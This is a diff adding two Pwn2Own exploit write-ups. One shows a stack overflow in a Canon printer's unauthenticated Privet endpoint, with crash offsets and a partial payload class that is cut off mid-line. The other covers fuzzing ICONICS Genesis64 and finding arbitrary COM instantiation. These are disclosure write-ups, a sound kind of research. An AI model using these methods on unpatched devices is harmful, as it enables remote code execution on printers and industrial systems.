+and compile it with `gcc -m32 -O2` using to get the optimized version:
+
+```asm
+mov al, byte ptr [esp+4]
+sub al, byte ptr [esp+8]
+rol al
+ret
+```
+
+So our encryption algorithm was a trivial `ror(x-i, 1)`!
+
+## Exploiting setup
+
+After we decrypted the firmware and noticed the serial port, we decided to set up an environment that would facilitate our exploitation of the vulnerability.
+
+
+
+We set up a Raspberry Pi on the same network as the printer that we also connected to the serial port of the printer. In this way we could remotely exploit the vulnerability while controlling the status of the printer via many features offered by the serial port.
+
+## Serial port: dry shell
+
+The serial port gave us access to the aforementioned dry shell which provided incredible help to understand / control the printer status and debug it during our exploitation attempts.
+
+
+
+Among the many powerful features offered, here are the most useful ones:
+
+- The ability to perform a full memory dump: a simple and quick way to retrieve the updated firmware unencrypted.
+- The ability to perform basic filesystem operations.
+- The ability to list the running tasks and their associated memory segments.
+
+
+- The ability to start an FTP daemon, this will come handy later.
+- The ability to inspect the content of memory at a specific address.
+
+
+
+This feature was used a lot to understand what was going on during exploitation attempts. One of the annoying things is the presence of a watchdog which restarts the whole printer if the HTTP daemon crashes. We had to run this command quickly after any exploitation attempts.
+
+# Vulnerability
+
+## Attack surface
+
+The Pwn2Own rules state that if there's authentication, it should be bypassed. Thus, the easiest way to win is to find a vulnerability in a non authenticated feature. This includes obvious things like:
+
+- Printing functions and protocols,
+- Various web pages,
+- The HTTP server,
+- The SNMP server.
+
+We started by enumerating the "regular" web pages that are handled by the web server (by checking the registered pages in the code), including the weird `/elf/` subpages. We then realized some other URLs were available in the firmware, which were not obviously handled by the usual code: `/privet/`, which are used for cloud based printing.
+
+## Vulnerable function
+
+Reverse engineering the firmware is rather straightforward, even if the binary is big. The CPU is standard ARMv7. By reversing the handlers, we quickly found the following function. Note that all names were added manually, either taken from debug logging strings or after reversing:
+
+```C
+int __fastcall ntpv_isXPrivetTokenValid(char *token)
+{
+ int tklen; // r0
+ char *colon; // r1
+ char *v4; // r1
+ int timestamp; // r4
+ int v7; // r2
+ int v8; // r3
+ int lvl; // r1
+ int time_delta; // r0
+ const char *msg; // r2
+ char buffer[256]; // [sp+4h] [bp-174h] BYREF
+ char str_to_hash[28]; // [sp+104h] [bp-74h] BYREF
+ char sha1_res[24]; // [sp+120h] [bp-58h] BYREF
+ int sha1_from_token[6]; // [sp+138h] [bp-40h] BYREF
+ char last_part[12]; // [sp+150h] [bp-28h] BYREF
+ int now; // [sp+15Ch] [bp-1Ch] BYREF
+ int sha1len; // [sp+164h] [bp-14h] BYREF
+
+ bzero(buffer, 0x100u);
+ bzero(sha1_from_token, 0x18u);
+ memset(last_part, 0, sizeof(last_part));
+ bzero(str_to_hash, 0x1Cu);
+ bzero(sha1_res, 0x18u);
+ sha1len = 20;
+ if ( ischeckXPrivetToken() )
+ {
+ tklen = strlen(token);
+ base64decode(token, tklen, buffer);
+ colon = strtok(buffer, ":");
+ if ( colon )
+ {
+ strncpy(sha1_from_token, colon, 20);
+ v4 = strtok(0, ":");
+ if ( v4 )
+ strncpy(last_part, v4, 10);
+ }
+ sprintf_0(str_to_hash, "%s%s%s", x_privet_secret, ":", last_part);
+ if ( sha1(str_to_hash, 28, sha1_res, &sha1len) )
+ {
+ sha1_res[20] = 0;
+ if ( !strcmp_0((unsigned int)sha1_from_token, sha1_res, 0x14u) )
+ {
+ timestamp = strtol2(last_part);
+ time(&now, 0, v7, v8);
+ lvl = 86400;
+ time_delta = now - LODWORD(qword_470B80E0[0]) - timestamp;
+ if ( time_delta <= 86400 )
+ {
+ msg = "[NTPV] %s: x-privet-token is valid.\n";
+ lvl = 5;
+ }
+ else
+ {
+ msg = "[NTPV] %s: issue_timecounter is expired!!\n";
+ }
+ if ( time_delta <= 86400 )
+ {
+ log(3661, lvl, msg, "ntpv_isXPrivetTokenValid");
+ return 1;
+ }
+ log(3661, 5, msg, "ntpv_isXPrivetTokenValid");
+ }
+ else
+ {
+ log(3661, 5, "[NTPV] %s: SHA1 hash value is invalid!!\n", "ntpv_isXPrivetTokenValid");
+ }
+ }
+ else
+ {
+ log(3661, 3, "[NTPV] ERROR %s fail to generate hash string.\n", "ntpv_isXPrivetTokenValid");
+ }
+ return 0;
+ }
+ log(3661, 6, "[NTPV] %s() DEBUG MODE: Don't check X-Privet-Token.", "ntpv_isXPrivetTokenValid");
+ return 1;
+}
+```
+
+The vulnerable code is the following line:
+
+```C
+base64decode(token, tklen, buffer);
+```
+
+With some thought, one can recognize the bug from the function signature itself -- there is no buffer length parameter passed in, meaning `base64decode` has no knowledge of buffer bounds.
+In this case, it decodes the base64-encoded value of the `X-Privet-Token` header into the local, stack based `buffer` which is 256 bytes long. The header is attacker-controlled is limited only by HTTP constraints, and as a result can be much larger. This leads to a textbook stack-based buffer overflow. The stack frame is relatively simple:
+
+```text
+-00000178 var_178 DCD ?
+-00000174 buffer DCB 256 dup(?)
+-00000074 str_to_hash DCB 28 dup(?)
+-00000058 sha1_res DCB 20 dup(?)
+-00000044 var_44 DCD ?
+-00000040 sha1_from_token DCB 24 dup(?)
+-00000028 last_part DCB 12 dup(?)
+-0000001C now DCD ?
+-00000018 DCB ? ; undefined
+-00000017 DCB ? ; undefined
+-00000016 DCB ? ; undefined
+-00000015 DCB ? ; undefined
+-00000014 sha1len DCD ?
+-00000010
+-00000010 ; end of stack variables
+```
+
+The `buffer` array is not really far from the stored return address, so exploitation should be relatively easy. Initially, we found the call to the vulnerable function in the `/privet/printer/createjob` URL handler, which is _not_ accessible before authenticating, so we had to dig a bit more.
+
+## ntpv functions
+
+The various ntpv URLs and handlers are nicely defined in two different arrays of structures as you can see below:
+
+```C
+privet_url nptv_urls[8] =
+{
+ { 0, "/privet/info", "GET" },
+ { 1, "/privet/register", "POST" },
+ { 2, "/privet/accesstoken", "GET" },
+ { 3, "/privet/capabilities", "GET" },
+ { 4, "/privet/printer/createjob", "POST" },
+ { 5, "/privet/printer/submitdoc", "POST" },
+ { 6, "/privet/printer/jobstate", "GET" },
+ { 7, NULL, NULL }
+};
+```
+
+```text
+DATA:45C91C0C nptv_cmds id_cmd <0, ntpv_procInfo>
+DATA:45C91C0C ; DATA XREF: ntpv_cgiMain+338↑o
+DATA:45C91C0C ; ntpv_cgiMain:ntpv_cmds↑o
+DATA:45C91C0C id_cmd <1, ntpv_procRegister>
+DATA:45C91C0C id_cmd <2, ntpv_procAccesstoken>
+DATA:45C91C0C id_cmd <3, ntpv_procCapabilities>
+DATA:45C91C0C id_cmd <4, ntpv_procCreatejob>
+DATA:45C91C0C id_cmd <5, ntpv_procSubmitdoc>
+DATA:45C91C0C id_cmd <6, ntpv_procJobstate>
+DATA:45C91C0C id_cmd <7, 0>
+```
+
+After reading the [documentation](https://developers.google.com/cloud-print/docs/privet) and reversing the code, it appeared that the `register` URL was accessible without authentication and called the vulnerable
+code.
+
+# Exploitation
+
+## Triggering the bug
+
+Using a pattern generated with [rsbkb](https://github.com/trou/rsbkb), we were able to get the following crash on the serial port:
+
+```text
+Dry> < Error Exception >
+ CORE : 0
+ TYPE : prefetch
+ ISR : FALSE
+ TASK ID : 269
+ TASK Name : AsC2
+ R 0 : 00000000
+ R 1 : 00000000
+ R 2 : 40ec49fc
+ R 3 : 49789eb4
+ R 4 : 316f4130
+ R 5 : 41326f41
+ R 6 : 6f41336f
+ R 7 : 49c1b38c
+ R 8 : 49d0c958
+ R 9 : 00000000
+ R10 : 00000194
+ R11 : 45c91bc8
+ R12 : 00000000
+ R13 : 4978a030
+ R14 : 4167a1f4
+ PC : 356f4134
+ PSR : 60000013
+ CTRL : 00c5187d
+ IE(31)=0
+```
+
+Which gives:
+
+```text
+$ rsbkb bofpattoff 4Ao5
+Offset: 434 (mod 20280) / 0x1b2
+```
+
+Astute readers will note that the offset is too big compared to the local stack frame size, which is only 0x178 bytes. Indeed, the correct offset for `PC`, from the start of the local buffer is 0x174. The 0x1B2 which we found using the buffer overflow pattern actually triggers a crash elsewhere and makes exploitation way harder. So remember to always check if your offsets make sense.
+
+## Buffer overflow
+
+As the firmware is lacking protections such as stack cookies, NX, and ASLR, exploiting the buffer overflow should be rather straightforward, despite the printer running [DRYOS](https://en.wikipedia.org/wiki/DRYOS) which differs from usual operating systems. Using the information gathered while researching the vulnerability, we built the following class to exploit the vulnerability and overwrite the `PC` register with an arbitrary address:
+
+```python
+import struct
+
+class PrivetPayload:
+ def __init__(self, ret_addr=0x1337):
+ self.ret_addr = ret_addr
+
+ @property
+ def r4(self):
+ return b"\x44\x44\x44\x44"
+
+ @property
+ def r5(self):
+ return b"\x55\x55\x55\x55"
+
+ @property
+ def r6(self):
+ return b"\x66\x66\x66\x66"
+
+ @property
+ def pc(self):
+ return struct.pack("
+
+
+
+It feels a bit... Anticlimactic? Where is the [Doom port for DRYOS](https://www.youtube.com/watch?v=5RS4myPuUn8) when you need it...
+
+# Patch
+
+Canon published [an advisory](https://www.usa.canon.com/internet/portal/us/home/support/product-advisories/detail/canon-laser-printer-inkjet-printer-and-small-office-multifunctional-printer-measure-against-buffer-overflow/) in March 2022 alongside a [firmware update](https://cweb.canon.jp/drv-upd/satera-mfp/mf644cdw-firm-win.html).
+
+A quick look at this new version shows that the `/privet` endpoint is no longer reachable: the function registering this path now logs a message before simply exiting, and the `/privet` string no longer appears in the binary. Despite this, it seems like the vulnerable code itself is still there - though it is now supposedly unreachable. Strings related to FTP have also been removed, hinting that Canon may have disabled this feature as well.
+
+As a side note, disabling this feature makes sense since Google Cloud Print was discontinued on December 31, 2020, and Canon [announced](https://www.usa.canon.com/internet/portal/us/home/support/product-advisories/detail/service%20notice%20google%20termination%20of%20support%20for%20google%20cloud%20print/!ut/p/z1/pVJNb-IwEP0r6YFTldqN88XeEqCCblMK5Su-IMdxgrWJHTmGaP_9GpYeEC3Vai1Z9oze6M17MwCDDcCCHHhJNJeCVCZOsb9NZuNwPBnAl-niZwyjUTx9R_4QwQEC6xMAfnEiCPBF_ZMzglGyWL0kaILg3D_X3wDg2_wrgAFuKM9BSnJEPbcIbYrywHY9r28Tj-R24IVB7riZGzjoiKZCN3oHUkqEFFvBuo5l20bJfE9124Pnn03yA2-l4szkWqYOnDJLSH18SinLilmaqZqLk1WWLKx23zRSaauQ6gNBK7nPrUZxoa-UXknBt418_s5KMytHJYOkNIYQvbO5KCTYnMiZasGGykoquyJGzEfAa1IyalKtXRe-69K8M33iSyY47wcw8of-uP8aw8nMuwKsYtcA-sMBcp6O3Z4Bt8WUlcz-blgkMhSarhUrmGLqYa9Meqd10_7owR400_h1vKV8oLLuwc9KdrLVYHOJBKlxPPjScbMM6wNnHVgKqWrTyfs_rtIYXjFMg0c4c9-mC8_xnGTh_yfD83fbv45BGtzPexB3AD-Cpl4u6xD9tnH61oyKRHuZV9bbYfxq41l0d_cHnjk3Dw!!/dz/d5/L2dBISEvZ0FBIS9nQSEh) they no longer supported it as of January 1, 2021.
+
+# Conclusion
+
+In the end, we achieved a perfectly reliable exploit for our printer. It should be noted that our whole work was based on the European version of the printer, while the American version was used during the contest, so a bit of uncertainty still remained on the d-day. Fortunately, we had checked that the firmware of both versions matched beforehand.
+
+We also adapted the offsets in our exploit to handle versions `9.01`, `10.02`, and `10.03` (released during the competition) in case the organizers' printer was updated. To do so, we built a script to automatically find the required offsets in the firmware and update our exploit.
+
+All in all, we were able to remotely display an image of our choosing on the printer's LCD screen, which counted as a success and earned us 2 Master of Pwn points.
diff --git a/content/articles/exploitation/2023-05-05-paracosme.md b/content/articles/exploitation/2023-05-05-paracosme.md
new file mode 100644
index 0000000..addcb78
--- /dev/null
+++ b/content/articles/exploitation/2023-05-05-paracosme.md
@@ -0,0 +1,1158 @@
+Title: Competing in Pwn2Own ICS 2022 Miami: Exploiting a zero click remote memory corruption in ICONICS Genesis64
+Date: 2023-05-05 08:00
+Tags: Pwn2Own Miami, Pwn2Own 2022, ICS, Paracosme, ICONICS, ICONICS Genesis64, Genesis64, 0-click remote code execution, CVE-2022-33318, ZDI-22-1041, ICSA-22-202-04, GenBroker64.exe, exploitation, memory-corruption
+Authors: Axel "0vercl0k" Souchet
+
+# 🧾 Introduction
+
+After participating in Pwn2Own Austin in 2021 and failing to land my [remote kernel exploit Zenith](https://github.com/0vercl0k/zenith) (which you can read about [here](https://doar-e.github.io/blog/2022/03/26/competing-in-pwn2own-2021-austin-icarus-at-the-zenith/)), I was eager to try again. It is fun and forces me to look at things I would never have looked at otherwise. The one thing I couldn't do during my last participation in 2021 was to fly on-site and soak in the whole experience. I wanted a massive adrenaline rush on stage (as opposed to being in the comfort of your home), to hang-out, to socialize and learn from the other contestants.
+
+
+So when ZDI announced an in-person competition in [Miami in 2022](https://www.zerodayinitiative.com/blog/2021/10/22/our-ics-themed-pwn2own-contest-returns-to-miami-in-2022).. I was stoked but I knew nothing about [**I**ndustrial **C**ontrol **S**ystem](https://en.wikipedia.org/wiki/Industrial_control_system) software (I still don't 😅). After googling around, I realized that several of the targets ran on Windows 😮 which is the OS I am most familiar with, so that was a big plus given the timeline. The ZDI originally announced the contest at the end of October 2022, and it was supposed to happen about three months later, in January 2023.
+
+In this blog post, I'm hoping to walk you through my journey of participating & demonstrating a winning 0-click remote entry on stage in Miami 🛬. If you want to skip the details to the exploit code, everything is available on my GitHub repository [Paracosme](https://github.com/0vercl0k/paracosme).
+
+
+
+[TOC]
+
+# ⚙️ Target selection
+All right, let me set the stage. It is November 2021 in Seattle; the sun sets early, it is cozy and warm inside; and I have decided to try to participate in the contest. As I mentioned in the intro, I have about three months to discover an exploitable vulnerability and write a reliable enough exploit for it. Honestly, I thought that timeline was a bit tight given that I can only invest an hour or two on average per workday (probably double that for weekends). As a result, progress will be slow, and will require discipline to put in the hours after a full day of work 🫡. And if it doesn't go anywhere, then it doesn't. Things don't work out often in life, nothing new 🤷🏽♂️.
+
+One thing I was excited about was to pick a target running on Windows to use my favorite debugger, [WinDbg](https://learn.microsoft.com/en-us/windows-hardware/drivers/debugger/). Given the timeline, I felt good to not to have to fight with [gdb](https://sourceware.org/gdb/) and/or [lldb](https://lldb.llvm.org/) 🤢. But as I said above, I have no experience with anything related to [ICS](https://en.wikipedia.org/wiki/Industrial_control_system) software. I don't know what it's supposed to do, where, how, when. Although I've tried to document myself as much as possible by reading all the literature I could find, I quickly realized that the infosec community didn't cover it that much.
+
+Regarding the contest, the [ZDI](https://www.zerodayinitiative.com/) broke it down into four main categories with multiple targets, vectors, and cash prizes. Reading through the rules, I didn't really recognize any of the vendors, everything was very foreign to me. So, I started to look for something that checked a few boxes:
+
+1. I need to run a demo version of the software in a regular Windows VM to introspect the target easily through a debugger. I learned my lessons from my [Zenith exploit](https://github.com/0vercl0k/zenith) where I couldn't debug my exploit on the real target. This time, I want to be able to debug the exploit on the real target to stand a chance to have it land during the contest.
+1. The target is written in a memory unsafe language like C or C++. It is nicer to reverse-engineer and certainly contains memory safety issues that I could use. In hindsight, it probably wasn't the best choice. Most of the other contestants exploited logic vulnerabilities which are in general: more reliable to exploit (less chance to lose the cash prize, less time spent building the exploit), and might be easier to find (more tooling opportunities?).
+1. Existing research/documentation/anything I can build on top of would be amazing.
+
+After trying a few things for a week or two, I decided to target [ICONICS Genesis64](https://iconics.com/Products/GENESIS64) in the Control Server category via the 0 click over-the-network vector. An ethernet cable is connecting you to the target device, and you throw your exploit against one of Genesis64's listening sockets and need to demonstrate code execution without any user interaction 🔥.
+
+
+
+[Luigi Auriemma](https://aluigi.altervista.org/) published a [plethora of vulnerabilities](https://www.exploit-db.com/exploits/17023) affecting the `GenBroker64.exe` server (which is part of Genesis64) in 2011. Many of those bugs look powerful and shallow, which gave me confidence that plenty more still exist today. At the same time, it was the only public thing I found, and it was a decade old, which is... a very long time ago.
+
+
+
+# 🐛 Vulnerability research
+I started the adventure a few weeks after the official announcement by downloading a demo version of the software, installing it in a VM, and starting to reverse-engineer the `GenBroker64.exe` service with laser focus. `GenBroker64.exe` is a regular Windows program available in both 32 or 64-bit versions but ultimately will be run on modern Windows 10 64-bit with default configuration. In hindsight, I made a mistake and didn't spend enough time enumerating the attack surfaces available. Instead, I went after the same ones as Luigi when there were probably better / less explored candidates. Live and learn I guess 😔.
+
+I opened the file in [IDA](https://hex-rays.com/) and got confused at first as it thinks it is a .NET binary. This contradicted Luigi's findings I looked at previously 🤔.
+
+
+
+I ignored it, and looked for the code that manages the listening TCP socket on port 38080. I found that entry point and it was definitely written in C++ so the binary might just be a [mixed of .NET & C++](https://learn.microsoft.com/en-us/cpp/dotnet/native-and-dotnet-interoperability?view=msvc-170) 🤷🏽♂️. Regardless, I didn't spend time trying to understand the whys, I just started to get going on the grind instead. Reverse-engineering it, function by function, understanding more and more the various structures and software abstractions. You know how this goes. Making your Hex-Rays output pretty, having ten different variables named `dunno_x` and all that fun stuff.
+
+## Understanding the target
+After a month of daily reverse-engineering, I was moving along, and I felt like I understood better the first order attack surfaces exposed by port 38080. It doesn't mean I understood everything going on, but I was building expertise. `GenBroker64.exe` appeared to be brokering conversations between a client and maybe some ICS hardware. Who knows. I had a good understanding of this layer that received custom "messages" that were made of more primitive types: strings, arrays of strings, integers, [VARIANT](https://learn.microsoft.com/en-us/windows/win32/api/oaidl/ns-oaidl-variant)s, etc. This layer looked like the very area Luigi attacked in 2011. I could see extra checks added here and there. I guess I was on the right track.
+
+I was also seeing a lot of things related to the Microsoft Foundation Class (MFC) library, which I needed to familiarize myself with. Things like [CArchive](https://learn.microsoft.com/en-us/cpp/mfc/what-is-a-carchive-object?view=msvc-170), [ATL::CString](https://learn.microsoft.com/en-us/cpp/atl-mfc-shared/using-cstring?view=msvc-170), etc.
+
+
+
+I started to see bugs and low-severity security issues like divisions by zero, null dereferences, infinite recursions, out-of-bounds reads, etc. Although it felt comforting for a minute, those issues were far from what I needed to pop calc remotely without user interaction. On the right track still, but no cigar. The clock was ticking, and I started to wonder if fuzzing could be helpful. The deserialization layer surface was suitable for fuzzing, and I probably could harness the target quickly thanks to the accumulated expertise. The [wtf](https://github.com/0vercl0k/wtf) fuzzer I released a bit ago seemed like a good candidate, and so that's what I used. It's always a special feeling when a tool you wrote is solving one of your problems 🙏 The plan was to kick off some fuzzing quickly while I continued on exploring the surface manually.
+
+## Harnessing the target
+
+The custom messages received by `GenBroker64.exe` are stored in a receive buffer that looks liked the following:
+
+```c++
+struct TcpRecvBuffer_t {
+ TcpRecvBuffer_t() { memset(this, 0, sizeof(*this)); }
+ uint64_t Vtbl;
+ uint64_t m_hFile;
+ uint64_t m_bCloseOnDelete;
+ uint64_t m_strFileName;
+ uint32_t m_dFoo;
+ uint32_t m_pTM;
+ uint64_t m_nGrowBytes;
+ uint64_t m_nPosition;
+ uint64_t m_nBufferSize;
+ uint64_t m_nFileSize;
+ uint64_t m_lpBuffer;
+};
+```
+
+`m_lpBuffer` points to the raw bytes received off the socket, and so injecting the test case in memory should be straightforward. I put together a client that sent a large packet (0x1'000 bytes long) to ensure there would be enough storage in the buffer to fuzz. I took snapshot of `GenBroker64.exe` just after the relevant `WSOCK32!recv` call as you can see below:
+```text
+GenBroker64+0x83dd0:
+00000001`40083dd0 83f8ff cmp eax,0FFFFFFFFh
+
+kd> ub .
+00000001'40083dc0 4053 push rbx
+00000001'40083dc2 4883ec30 sub rsp,30h
+00000001'40083dc6 488b4908 mov rcx,qword ptr [rcx+8]
+00000001`40083dca ff15b8aa0200 call qword ptr [GenBroker64+0xae888 (00000001`400ae888)]
+
+kd> dqs 00000001`400ae888
+00000001`400ae888 00007ffb`f27e1010 WSOCK32!recv
+
+kd> r @rax
+rax=0000000000001000
+
+kd> kp
+ # Child-SP RetAddr Call Site
+00 00000000`0a48fb10 00000001`4008a9fc GenBroker64+0x83dd0
+01 00000000`0a48fb50 00000001`40086783 GenBroker64+0x8a9fc
+02 00000000`0a48fdf0 00000001`4008609d GenBroker64+0x86783
+03 00000000`0a48fe20 00007ffc`0cd07bd4 GenBroker64+0x8609d
+04 00000000`0a48ff30 00007ffc`0db0ce71 KERNEL32!BaseThreadInitThunk+0x14
+05 00000000`0a48ff60 00000000`00000000 ntdll!RtlUserThreadStart+0x21
+```
+
+Then, I wrote a simple fuzzer module that wrote the test case at the end of the receive buffer to ensure out-of-bound memory accesses will trigger access violations when accessing the guard page behind it. I also updated the size of the amount of bytes received by `recv` as well as the start address (`m_lpBuffer`). The `TcpRecvBuffer_t` structure was stored on the stack. This is what the module looked like:
+```c++
+bool InsertTestcase(const uint8_t *Buffer, const size_t BufferSize) {
+ const uint64_t MaxBufferSize = 0x1'000;
+ if (BufferSize > MaxBufferSize) {
+ return true;
+ }
+
+ struct TcpRecvBuffer_t {
+ TcpRecvBuffer_t() { memset(this, 0, sizeof(*this)); }
+ uint64_t Vtbl;
+ uint64_t m_hFile;
+ uint64_t m_bCloseOnDelete;
+ uint64_t m_strFileName;
+ uint32_t m_dFoo;
+ uint32_t m_pTM;
+ uint64_t m_nGrowBytes;
+ uint64_t m_nPosition;
+ uint64_t m_nBufferSize;
+ uint64_t m_nFileSize;
+ uint64_t m_lpBuffer;
+ };
+
+ static_assert(offsetof(TcpRecvBuffer_t, m_lpBuffer) == 0x48);
+
+ //
+ // Calculate and read the TcpRecvBuffer_t pointer saved on the stack.
+ //
+
+ const Gva_t Rsp = Gva_t(g_Backend->GetReg(Registers_t::Rsp));
+ const Gva_t TcpRecvBufferAddr = g_Backend->VirtReadGva(Rsp + Gva_t(0x30));
+
+ //
+ // Read the TcpRecvBuffer_t structure.
+ //
+
+ TcpRecvBuffer_t TcpRecvBuffer;
+ if (!g_Backend->VirtReadStruct(TcpRecvBufferAddr, &TcpRecvBuffer)) {
+ fmt::print("VirtWriteDirty failed to write testcase at {}\n",
+ fmt::ptr(Buffer));
+ return false;
+ }
+
+ //
+ // Calculate the testcase address so that it is pushed towards the end of the
+ // page to benefit from the guard page.
+ //
+
+ const Gva_t BufferEnd = Gva_t(TcpRecvBuffer.m_lpBuffer + MaxBufferSize);
+ const Gva_t TestcaseAddr = BufferEnd - Gva_t(BufferSize);
+
+ //
+ // Insert testcase in memory.
+ //
+
+ if (!g_Backend->VirtWriteDirty(TestcaseAddr, Buffer, BufferSize)) {
+ fmt::print("VirtWriteDirty failed to write testcase at {}\n",
+ fmt::ptr(Buffer));
+ return false;
+ }
+
+ //
+ // Set the size of the testcase.
+ //
+
+ g_Backend->SetReg(Registers_t::Rax, BufferSize);
+
+ //
+ // Update the buffer address.
+ //
+
+ TcpRecvBuffer.m_lpBuffer = TestcaseAddr.U64();
+ if (!g_Backend->VirtWriteStructDirty(TcpRecvBufferAddr, &TcpRecvBuffer)) {
+ fmt::print("VirtWriteDirty failed to update the TcpRecvBuffer.m_lpBuffer "
+ "pointer\n");
+ return false;
+ }
+
+ return true;
+}
+```
+
+When harnessing a target with [wtf](https://github.com/0vercl0k/wtf), there are numerous events or API calls that can't execute properly inside the runtime environment. I/Os and context switching are a few examples but there are more. Knowing how to handle those events are usually entirely target specific. It can be as easy as nop-ing a call and as tricky as emulating the effect of a complex API. This is a tricky balancing act because you want to avoid forcing your target into acting differently than it would when executed for real. Otherwise you are risking to run into bugs that only exist in the reality you built 👾.
+
+Thankfully, `GenBroker64.exe` wasn't too bad; I nop'd a few functions that lead to I/Os but they didn't impact the code I was fuzzing:
+```c++
+bool Init(const Options_t &Opts, const CpuState_t &) {
+ //
+ // Make ExGenRandom deterministic.
+ //
+ // kd> ub fffff805`3b8287c4 l1
+ // nt!ExGenRandom+0xe0:
+ // fffff805`3b8287c0 480fc7f2 rdrand rdx
+ const Gva_t ExGenRandom = Gva_t(g_Dbg.GetSymbol("nt!ExGenRandom") + 0xe4);
+ if (!g_Backend->SetBreakpoint(ExGenRandom, [](Backend_t *Backend) {
+ DebugPrint("Hit ExGenRandom!\n");
+ Backend->Rdx(Backend->Rdrand());
+ })) {
+ return false;
+ }
+
+ const uint64_t GenBroker64Base = g_Dbg.GetModuleBase("GenBroker64");
+ const Gva_t EndFunct = Gva_t(GenBroker64Base + 0x85FCC);
+ if (!g_Backend->SetBreakpoint(EndFunct, [](Backend_t *Backend) {
+ DebugPrint("Finished!\n");
+ Backend->Stop(Ok_t());
+ })) {
+ return false;
+ }
+
+ if (!g_Backend->SetBreakpoint(
+ "combase!CoCreateInstance", [](Backend_t *Backend) {
+ DebugPrint("combase!CoCreateInstance({:#x})\n",
+ Backend->VirtRead8(Gva_t(Backend->Rcx())));
+ g_Backend->Stop(Ok_t());
+ })) {
+ return false;
+ }
+
+ const Gva_t DnsCacheIsKnownDns(0x1400794F0);
+ if (!g_Backend->SetBreakpoint(DnsCacheIsKnownDns, [](Backend_t *Backend) {
+ DebugPrint("DnsCacheIsKnownDns\n");
+ g_Backend->SimulateReturnFromFunction(0);
+ })) {
+ return false;
+ }
+
+ const Gva_t CMemFileGrowFile(0x14009653B);
+ if (!g_Backend->SetBreakpoint(CMemFileGrowFile, [](Backend_t *Backend) {
+ DebugPrint("CMemFile::GrowFile\n");
+ g_Backend->Stop(Ok_t());
+ })) {
+ return false;
+ }
+
+ if (!g_Backend->SetBreakpoint("KERNELBASE!Sleep", [](Backend_t *Backend) {
+ DebugPrint("KERNELBASE!Sleep\n");
+ g_Backend->Stop(Ok_t());
+ })) {
+ return false;
+ }
+
+ if (!g_Backend->SetBreakpoint("nt!MiIssuePageExtendRequest",
+ [](Backend_t *Backend) {
+ DebugPrint("nt!MiIssuePageExtendRequest\n");
+ g_Backend->Stop(Ok_t());
+ })) {
+ return false;
+ }
+
+ //
+ // Install the usermode crash detection hooks.
+ //
+
+ if (!SetupUsermodeCrashDetectionHooks()) {
+ return false;
+ }
+
+ return true;
+}
+```
+
+I crafted manually a few packets to be used as a corpus, ran it on my laptop, and finally went to bed calling it quits for the day 😴. I woke up the following day and was welcomed with a few findings. Exciting. It's like waking up early on Christmas morning, hoping to find gifts under the tree 🎄. Though, after looking at them, reality came back pretty fast. I realized that all the findings were some of the low-severity issues I mentioned earlier. Oh well, whatever; that's how it goes sometimes. I improved the corpus a little bit, and let the fuzzer drills through the code.
+
+Pressure was building up as the deadline approached. I felt my progress was stalling, and it didn't feel good. I reverse-engineered myself enough times to know that I needed somewhat of a break to recharge my batteries a bit. What works best for me is to accomplish something easy, and measurable to get a supply of dopamine. I decided to get back to the fuzzer I had been running unsupervised.
+
+## Triaging findings
+
+[wtf](https://github.com/0vercl0k/wtf) doesn't know how handle I/Os, and stops when a context switch to prevent executing code from a different process. Those behaviors combined mean that the fuzzer often runs into situations that lead to a context switch to occur. In general, it is a symptom of poor harnessing because the execution of your test case is interrupted before it probably should have.
+
+I had many of those test cases, so looking at them closely was both rewarding, and a good way to improve the fuzzing campaign. In general, this is pretty time-consuming because it highlights an area of the code you don't know much about, and you need to answer the question "how to handle it properly". Unfortunately, "debugging" test cases in [wtf](https://github.com/0vercl0k/wtf) is basic; you have an execution trace that spans user and kernel-mode. It's usually gigabytes long so you are literally scrolling looking for a needle in a hell of a haystack 🔎.
+
+I eventually found a very bizarre one. The execution stopped while trying to load a COM object, which triggered an I/O followed by a context switch. After looking closer, it seemed to be triggered from an area of code (I thought) I knew very well: that deserialization layer I mentioned. Another surprise was that the COM's class identifier came directly from the test case bytes... what the hell? 😮 Instantiating an arbitrary COM object? Exciting and wild I thought. I first assumed this was a bug I had introduced when harnessing or inserting the test case in memory. I built a proof-of-concept to reproduce and debug this live.. and I indeed stepped-through the code that read a class ID, and instantiated any COM object.
+
+The code was part of `mfc140u.dll`, and not `GenBroker64.exe` which made me feel slightly better... I didn't miss it. I did miss a code-path that connected the deserialization layer to that function in `mfc140u.dll`. Missing something never feels great, but it is an essential part of the job. The best thing you can do is try to transform this even into a learning opportunity 🌈.
+
+So, how did I miss this while spending so much time in this very area? The function doing the deserialization was a big switch-case statement where each case handles a specific message type. Each message is made of primitive types like strings, integers, arrays, etc. As an example, below is the function that handles the deserialization of messages with identifier `89AB`:
+```c++
+void __fastcall PayloadReq89AB_t::ReadFromArchive(PayloadReq89AB_t *Payload, Archive_t *Archive) {
+ // ...
+ if ( (Archive->m_nMode & ArchiveReadMode) != 0 ) {
+ Archive::ReadUint32(Archive, Payload);
+ Utils::ReadVariant(&Payload->Variant1, Archive);
+ Archive::ReadString((CArchive *)Archive, (CString *)&Payload->String1);
+ Archive::ReadUint32__(Archive, Payload->pad);
+ Archive::ReadUint32__(Archive, &Payload->pad[4]);
+ Archive::ReadUint32__(Archive, &Payload->pad[8]);
+ Archive::ReadUint32_(Archive, &Payload->pad[12]);
+ Utils::ReadVariant(&Payload->Variant2, Archive);
+ Utils::ReadVariant(&Payload->Variant3, Archive);
+ Utils::ReadVariant(&Payload->Variant4, Archive);
+ Utils::ReadVariant(&Payload->Variant5, Archive);
+ Utils::ReadVariant(&Payload->Variant6, Archive);
+ Archive::ReadString((CArchive *)Archive, (CString *)&Payload->String2);
+ Archive::ReadUint32(Archive, &Payload->D0);
+ Archive::ReadString((CArchive *)Archive, (CString *)&Payload->String3);
+ Archive::ReadString((CArchive *)Archive, (CString *)&Payload->String4);
+ Archive::ReadString((CArchive *)Archive, (CString *)&Payload->String5);
+ Archive::ReadString((CArchive *)Archive, (CString *)&Payload->String6);
+ Archive::ReadString((CArchive *)Archive, (CString *)&Payload->String7);
+ Archive::ReadString((CArchive *)Archive, (CString *)&Payload->String8);
+ Archive::ReadString((CArchive *)Archive, (CString *)&Payload->String9);
+ Archive::ReadString((CArchive *)Archive, (CString *)&Payload->StringA);
+ Archive::ReadUint32(Archive, &Payload->Q90);
+ Utils::ReadVariant(&Payload->Variant7, Archive);
+ Archive::ReadString((CArchive *)Archive, (CString *)&Payload->StringB);
+ Archive::ReadUint32(Archive, &Payload->Dunno);
+ }
+
+ // ...
+}
+```
+
